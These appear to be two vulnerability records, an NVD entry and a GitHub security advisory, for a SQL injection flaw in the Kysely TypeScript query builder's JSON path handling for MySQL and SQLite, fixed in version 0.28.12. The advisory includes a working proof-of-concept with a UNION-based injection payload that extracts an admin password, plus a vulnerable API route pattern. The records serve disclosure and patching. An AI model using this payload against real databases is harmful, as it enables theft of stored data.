{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:kysely:kysely:*:*:*:*:*:node.js:*:*",
              "matchCriteriaId": "B1A94611-2C50-4312-ABC1-22E5B3BB63E3",
              "versionEndExcluding": "0.28.12",
              "versionStartIncluding": "0.26.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Kysely is a type-safe TypeScript SQL query builder. Versions up to and including 0.28.11 has a SQL injection vulnerability in JSON path compilation for MySQL and SQLite dialects. The `visitJSONPathLeg()` function appends user-controlled values from `.key()` and `.at()` directly into single-quoted JSON path string literals (`\u0027$.key\u0027`) without escaping single quotes. An attacker can break out of the JSON path string context and inject arbitrary SQL. This is inconsistent with `sanitizeIdentifier()`, which properly doubles delimiter characters for identifiers \u2014 both are non-parameterizable SQL constructs requiring manual escaping, but only identifiers are protected. Version 0.28.12 fixes the issue."
    },
    {
      "lang": "es",
      "value": "Kysely es un constructor de consultas SQL de TypeScript con seguridad de tipos. Las versiones hasta la 0.28.11 inclusive tienen una vulnerabilidad de inyecci\u00f3n SQL en la compilaci\u00f3n de rutas JSON para los dialectos de MySQL y SQLite. La funci\u00f3n visitJSONPathLeg() a\u00f1ade valores controlados por el usuario de .key() y .at() directamente en literales de cadena de ruta JSON entre comillas simples (\u0027$.key\u0027) sin escapar las comillas simples. Un atacante puede salir del contexto de la cadena de ruta JSON e inyectar SQL arbitrario. Esto es inconsistente con sanitizeIdentifier(), que duplica correctamente los caracteres delimitadores para los identificadores \u2014 ambos son constructos SQL no parametrizables que requieren escape manual, pero solo los identificadores est\u00e1n protegidos. La versi\u00f3n 0.28.12 corrige el problema."
    }
  ],
  "id": "CVE-2026-32763",
  "lastModified": "2026-04-08T20:57:45.050",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 8.2,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 4.2,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-03-20T00:16:17.790",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/kysely-org/kysely/commit/0a602bff2f442f6c26d5e047ca8f8715179f6d24"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Release Notes"
      ],
      "url": "https://github.com/kysely-org/kysely/releases/tag/v0.28.12"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/kysely-org/kysely/security/advisories/GHSA-wmrf-hv6w-mr66"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-89"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.28.11"
      },
      "package": {
        "ecosystem": "npm",
        "name": "kysely"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.26.0"
            },
            {
              "fixed": "0.28.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32763"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-18T12:59:32Z",
    "nvd_published_at": "2026-03-20T00:16:17Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nKysely through 0.28.11 has a SQL injection vulnerability in JSON path compilation for MySQL and SQLite dialects. The `visitJSONPathLeg()` function appends user-controlled values from `.key()` and `.at()` directly into single-quoted JSON path string literals (`\u0027$.key\u0027`) without escaping single quotes. An attacker can break out of the JSON path string context and inject arbitrary SQL.\n\nThis is inconsistent with `sanitizeIdentifier()`, which properly doubles delimiter characters for identifiers \u2014 both are non-parameterizable SQL constructs requiring manual escaping, but only identifiers are protected.\n\n### Details\n\n`visitJSONPath()` wraps JSON path in single quotes (`\u0027$...\u0027`), and `visitJSONPathLeg()` appends each key/index value via `this.append(String(node.value))` with no sanitization:\n\n```javascript\n// dist/cjs/query-compiler/default-query-compiler.js\nvisitJSONPath(node) {\n    if (node.inOperator) {\n        this.visitNode(node.inOperator);\n    }\n    this.append(\"\u0027$\");\n    for (const pathLeg of node.pathLegs) {\n        this.visitNode(pathLeg);        // Each leg appended without escaping\n    }\n    this.append(\"\u0027\");\n}\nvisitJSONPathLeg(node) {\n    const isArrayLocation = node.type === \u0027ArrayLocation\u0027;\n    this.append(isArrayLocation ? \u0027[\u0027 : \u0027.\u0027);\n    this.append(String(node.value));    // \u003c-- NO single quote escaping\n    if (isArrayLocation) {\n        this.append(\u0027]\u0027);\n    }\n}\n```\n\nContrast with `sanitizeIdentifier()` in the same file, which properly doubles delimiter characters:\n\n```javascript\nsanitizeIdentifier(identifier) {\n    const leftWrap = this.getLeftIdentifierWrapper();\n    const rightWrap = this.getRightIdentifierWrapper();\n    let sanitized = \u0027\u0027;\n    for (const c of identifier) {\n        sanitized += c;\n        if (c === leftWrap) { sanitized += leftWrap; }\n        else if (c === rightWrap) { sanitized += rightWrap; }\n    }\n    return sanitized;\n}\n```\n\nBoth identifiers and JSON path keys are non-parameterizable SQL constructs that require manual escaping. Identifiers are protected; JSON path values are not.\n\nPostgreSQL is **not affected**. The branching happens in `JSONPathBuilder.#createBuilderWithPathLeg()` (`json-path-builder.js`):\n\n- **MySQL/SQLite** operators (`-\u003e$`, `-\u003e\u003e$`) produce a `JSONPathNode` traversal \u2192 `visitJSONPathLeg()` concatenates the key directly into a single-quoted JSON path string (`\u0027$.key\u0027`) \u2014 **vulnerable**, no escaping.\n- **PostgreSQL** operators (`-\u003e`, `-\u003e\u003e`) produce a `JSONOperatorChainNode` traversal \u2192 `ValueNode.createImmediate(value)` \u2192 `appendImmediateValue()` \u2192 `appendStringLiteral()` \u2192 **`sanitizeStringLiteral()` doubles single quotes** (`\u0027` \u2192 `\u0027\u0027`), generating chained operators (`\"col\"-\u003e\u003e\u0027city\u0027`). Injection payload becomes a harmless string literal.\n\nSame `.key()` call, different internal node creation depending on the operator type. The PostgreSQL path reuses the existing string literal sanitization; the MySQL/SQLite JSON path construction bypasses it entirely.\n\n### PoC\n\nEnd-to-end proof against a real SQLite database (Kysely 0.28.11 + better-sqlite3):\n\n```javascript\nconst Database = require(\u0027better-sqlite3\u0027);\nconst { Kysely, SqliteDialect } = require(\u0027kysely\u0027);\n\nconst sqliteDb = new Database(\u0027:memory:\u0027);\nsqliteDb.exec(`\n  CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT, profile TEXT);\n  INSERT INTO users VALUES (1, \u0027alice\u0027, \u0027{\"city\": \"Seoul\", \"age\": 30}\u0027);\n  INSERT INTO users VALUES (2, \u0027bob\u0027, \u0027{\"city\": \"Tokyo\", \"age\": 25}\u0027);\n  CREATE TABLE admin (id INTEGER PRIMARY KEY, password TEXT);\n  INSERT INTO admin VALUES (1, \u0027SUPER_SECRET_PASSWORD_123\u0027);\n`);\n\nconst db = new Kysely({ dialect: new SqliteDialect({ database: sqliteDb }) });\n\nasync function main() {\n  // Safe usage\n  const safe = await db\n    .selectFrom(\u0027users\u0027)\n    .select(eb =\u003e eb.ref(\u0027profile\u0027, \u0027-\u003e\u003e$\u0027).key(\u0027city\u0027).as(\u0027city\u0027))\n    .execute();\n  console.log(\"Safe:\", safe);\n  // [ { city: \u0027Seoul\u0027 }, { city: \u0027Tokyo\u0027 } ]\n\n  // Injection via .key() \u2014 exfiltrate admin password\n  const malicious = `city\u0027 as \"city\" from \"users\" UNION SELECT password FROM admin -- `;\n  const attack = await db\n    .selectFrom(\u0027users\u0027)\n    .select(eb =\u003e eb.ref(\u0027profile\u0027, \u0027-\u003e\u003e$\u0027).key(malicious).as(\u0027city\u0027))\n    .execute();\n  console.log(\"Injected:\", attack);\n  // [ { city: \u0027SUPER_SECRET_PASSWORD_123\u0027 }, { city: \u0027Seoul\u0027 }, { city: \u0027Tokyo\u0027 } ]\n}\nmain();\n```\n\nThe payload includes `as \"city\" from \"users\"` to complete the first SELECT before the UNION. The `--` comments out the trailing `\u0027 as \"city\" from \"users\"` appended by Kysely.\n\nGenerated SQL:\n\n```sql\nselect \"profile\"-\u003e\u003e\u0027$.city\u0027 as \"city\" from \"users\" UNION SELECT password FROM admin -- \u0027 as \"city\" from \"users\"\n```\n\n### Realistic application pattern\n\n```javascript\napp.get(\u0027/api/products\u0027, async (req, res) =\u003e {\n  const field = req.query.field || \u0027name\u0027;\n  const products = await db\n    .selectFrom(\u0027products\u0027)\n    .select(eb =\u003e eb.ref(\u0027metadata\u0027, \u0027-\u003e\u003e$\u0027).key(field).as(\u0027value\u0027))\n    .execute();\n  res.json(products);\n});\n```\n\nDynamic JSON field selection is a common pattern in search APIs, GraphQL resolvers, and admin panels that expose JSON column data.\n\n### Suggested fix\n\nEscape single quotes in JSON path values within `visitJSONPathLeg()`, similar to how `sanitizeIdentifier()` doubles delimiter characters. Alternatively, validate that JSON path keys contain only safe characters. The direction of the fix is left to the maintainers.\n\n### Impact\n\n**SQL Injection (CWE-89)** \u2014 An attacker can inject arbitrary SQL via crafted JSON key names passed to `.key()` or `.at()`, enabling UNION-based data exfiltration from any database table. MySQL and SQLite dialects are affected. PostgreSQL is not affected.",
  "id": "GHSA-wmrf-hv6w-mr66",
  "modified": "2026-03-20T21:16:22Z",
  "published": "2026-03-18T12:59:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kysely-org/kysely/security/advisories/GHSA-wmrf-hv6w-mr66"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32763"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kysely-org/kysely/commit/0a602bff2f442f6c26d5e047ca8f8715179f6d24"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kysely-org/kysely"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kysely-org/kysely/releases/tag/v0.28.12"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SQL Injection via unsanitized JSON path keys when ignoring/silencing compilation errors or using `Kysely\u003cany\u003e`."
}